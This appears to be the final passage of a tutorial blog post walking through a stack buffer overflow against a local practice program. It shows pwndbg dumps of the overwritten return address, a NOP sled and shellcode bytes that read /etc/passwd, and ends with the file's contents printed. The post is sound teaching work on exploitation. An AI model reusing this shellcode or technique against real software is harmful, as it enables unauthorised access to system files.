─────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────
 EAX  0xf7e3b560 (puts) ◂— push   ebp
 EBX  0x56559000 (_GLOBAL_OFFSET_TABLE_) ◂— clc     /* 0x3ef8 */
 ECX  0xf7fac580 (_IO_2_1_stdin_) ◂— cwde    /* 0xfbad2098 */
 EDX  0xffffd363 —▸ 0xffd75600 ◂— 0xffd75600
 EDI  0xf7fac000 ◂— insb   byte ptr es:[edi], dx /* 0x1dfd6c */
 ESI  0xf7fac000 ◂— insb   byte ptr es:[edi], dx /* 0x1dfd6c */
 EBP  0xffffd268 ◂— 'AAAA'
 ESP  0xffffd254 —▸ 0x565561c3 (main+42) ◂— add    esp, 4
 EIP  0x56556058 (puts@plt) —▸ 0xfff0a3ff ◂— 0xfff0a3ff
───────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────
  0x56556058 <puts@plt>    jmp    dword ptr [ebx - 0x10] <0xf7e3b560>
    
   0xf7e3b560 <puts>        push   ebp
   0xf7e3b561 <puts+1>      mov    ebp, esp
   0xf7e3b563 <puts+3>      push   edi
   0xf7e3b564 <puts+4>      call   0xf7f0afe1
 
   0xf7e3b569 <puts+9>      add    edi, 0x170a97
   0xf7e3b56f <puts+15>     push   esi
   0xf7e3b570 <puts+16>     push   ebx
   0xf7e3b571 <puts+17>     sub    esp, 0x28
   0xf7e3b574 <puts+20>     push   dword ptr [ebp + 8]
   0xf7e3b577 <puts+23>     mov    dword ptr [ebp - 0x24], edi
───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000 esp  0xffffd254 —▸ 0x565561c3 (main+42) ◂— add    esp, 4
01:0004      0xffffd258 —▸ 0xf7e3b560 (puts) ◂— push   ebp
02:0008      0xffffd25c ◂— 'AAAAAAAAAAAAAAAA'
... 
06:0018      0xffffd26c —▸ 0xffffd300 ◂— 0x90909090
07:001c│      0xffffd270 ◂— 0x90909090
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
  f 0 56556058 puts@plt
   f 1 565561c3 main+42
────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

Taking a quick look at the stack to see what it looks liked before "puts" is executed.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/80xw $esp
0xffffd254: 0x565561c3 0xf7e3b560 0x41414141 0x41414141
0xffffd264: 0x41414141 0x41414141 0xffffd300 0x90909090
0xffffd274: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd284: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd294: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd304: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd314: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd324: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd334: 0x90909090 0x5299c031 0x61632f68 0x622f6874
0xffffd344: 0xe3896e69 0x73736852 0x2f686477 0x6861702f
0xffffd354: 0x6374652f 0x0bb0e189 0x89535152 0x0080cde1
0xffffd364: 0xffffd756 0xffffdd38 0xffffdd51 0xffffdd5d
0xffffd374: 0xffffdd6e 0xffffdda2 0xffffddb9 0xffffddcd
0xffffd384: 0xffffdde5 0xffffddf6 0xffffde01 0xffffde09

Looks interesting, we can see our 16 As, followed by "0xffffd300" which is then followed by our "0x90" (NOP) then our shell code starts. However, does our return pointer, point to an area we would like? If we look closely above, we can see it does. However, let's give this more clarity, by examining a few bytes at the address "0xffffd300"


1
2
3
4
5
pwndbg> x/16xw 0xffffd300
0xffffd300: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd310: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd320: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd330: 0x90909090 0x90909090 0x5299c031 0x61632f68

Good stuff, we can further confirm our return pointer jumps to the NOP and then slides down to our shell code. Let's now execute this in a normal shell to see what we get.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
└──╼ $./sample < input 
AAAAAAAAAAAAAAAA
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
..... Truncated for brevity .....
dradis:x:135:147::/var/lib/dradis:/usr/sbin/nologin
beef-xss:x:136:148::/var/lib/beef-xss:/usr/sbin/nologin
geoclue:x:137:149::/var/lib/geoclue:/usr/sbin/nologin
lightdm:x:138:150:Light Display Manager:/var/lib/lightdm:/bin/false
king-phisher:x:139:151::/var/lib/king-phisher:/usr/sbin/nologin
securitynik:x:1000:1000:SecurityNik,,,:/home/securitynik:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
vboxadd:x:998:1::/var/run/vboxadd:/bin/false
┌─[securitynik@securitynik]─[~]

Nice! Looks like we were able to exploit the vulnerable program by using code external to the actual program.

Hope you enjoyed this post.